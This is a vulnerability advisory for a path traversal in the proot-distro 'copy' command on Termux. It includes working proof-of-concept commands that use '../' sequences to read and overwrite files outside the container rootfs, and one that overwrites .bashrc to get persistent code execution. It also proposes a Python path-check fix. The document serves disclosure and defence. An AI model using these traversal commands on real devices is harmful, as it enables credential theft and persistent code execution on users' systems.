PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1> <h2>Repository</h2> <p>https://github.com/termux/proot-distro</p> <p><strong>Maintainer:</strong> @sylirre</p> <hr> <h2>Affected Component</h2> <ul> <li><strong>Package:</strong> proot-distro</li> <li><strong>Affected command:</strong> <code>copy</code></li> <li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li> <li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li> </ul> <hr> <h2>Affected Versions</h2>

Component	Version
proot-distro	4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19)
Test distro	Ubuntu 25.10 "Questing Quokka" (ubuntu alias)
Architecture	aarch64
Device	Samsung A23
Package source	https://packages-cf.termux.dev/apt/termux-main stable/main aarch64

<hr> <h2>Proof of Concept</h2> <p>All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten during testing was immediately restored.</p> <h3>Step 1 — Setup</h3> <pre><code>rm -rf ~/poc mkdir -p ~/poc </code></pre> <hr> <h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3> <pre><code>echo "ORIGINAL" &gt; ~/poc/target.txt echo "PWNED_BY_PROOT_DISTRO" &gt; ~/poc/evil.txt

proot-distro copy
~/poc/evil.txt
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt" </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt' [*] Destination: '/data/data/com.termux/files/home/poc/target.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/target.txt → PWNED_BY_PROOT_DISTRO </code></pre> <p>This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.</p> <hr> <h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3> <pre><code>echo "TOP_SECRET" &gt; ~/poc/secret.txt

proot-distro copy
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt"
~/poc/read_result.txt </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt' [*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/read_result.txt → TOP_SECRET </code></pre> <p>This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.</p> <hr> <h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3> <pre><code>printf 'echo VULN_TRIGGERED &gt; ~/poc/proof.txt\n' &gt; ~/poc/payload.sh

proot-distro copy ~/poc/payload.sh
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc" </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh' [*] Destination: '/data/data/com.termux/files/home/.bashrc' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification before restart:</p> <pre><code>cat ~/.bashrc → echo VULN_TRIGGERED &gt; ~/poc/proof.txt </code></pre> <p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and executed the payload automatically:</p> <pre><code>cat ~/poc/proof.txt → VULN_TRIGGERED </code></pre> <p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.</p> <hr> <h2>Attack Scenario</h2> <p>The most realistic exploitation path is a confused deputy scenario: a community script, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path derived from untrusted input. The attacker supplies a crafted container path. The tool resolves it to a host-side location and reads or writes the file without any boundary check. The user sees normal command output and no indication that a file outside the container was touched.</p> <p>On a real device with SSH keys or stored credentials in the Termux home directory, the read primitive allows silent credential theft. The write primitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p> <hr> <h2>Proposed Fix</h2> <p>After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:</p> <pre><code>import os

def safe_resolve(rootfs, container_path): candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/'))) root = os.path.realpath(rootfs) if candidate != root and not candidate.startswith(root + os.sep): raise ValueError("path traversal detected: resolved path escapes rootfs") return candidate </code></pre>

<p>This check must be applied to both the source and destination paths in the <code>copy</code> subcommand.</p> <hr> <h2>Additional Notes</h2> <ul> <li>This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.</li> <li>No root access was used at any point during testing.</li> <li>All test files were self-owned and contained only harmless marker data.</li> <li>The <code>.bashrc</code> overwritten during testing was immediately restored after verification.</li> </ul></body></html>